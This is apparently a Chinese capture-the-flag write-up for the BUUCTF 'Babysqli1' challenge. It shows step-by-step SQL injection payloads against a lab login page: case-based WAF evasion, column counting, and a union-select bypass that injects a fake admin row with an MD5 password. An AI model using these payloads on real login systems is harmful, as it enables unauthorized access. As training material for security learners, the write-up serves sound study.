这题考的是sql注入
打开场景,一个登录界面
先尝试下,admin’,根据回显判断,用户名是admin没错,而且是单引号闭合
尝试万能密码,admin’ or ‘1’=‘1,发现是don’t hack me看来是有waf
但是尝试union这类词,发现他能过waf,那么尝试联合注入看看
首先要确定列数,不幸的是order触发了waf,需要大小写绕过
admin’ Order by 3#和admin’ Order by4#回显不一样,那么可以确认是三列
下面确定admin在那一列,
a’ union select ‘admin’,2,3# wrong user
a’ union select 1,‘admin’,3# wrong pass
确定在第二列,下面就是如何绕过pass了
根据靶场给的源码地址可以确认的一件事是这题是先确定username是否存在,然后存在password是否正确,这是分两步进行的
因此当我们查询形如a’ union select 1,‘admin’,‘c4ca4238a0b923820dcc509a6f75849b’#&pw=1这样不存在的情况下
数据库会临时生成admin,c4ca4238a0b923820dcc509a6f75849b(1的md5)的数据插入数据库中(类似于oracle的dual),但注意,这是临时的,不会一直存在
于是payload就是a' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#&pw=1
参考视频链接:https://www.bilibili.com/video/bv1X3411C7SJ
BUUCTF WEB Babysqli1
最新推荐文章于 2024-02-05 14:00:03 发布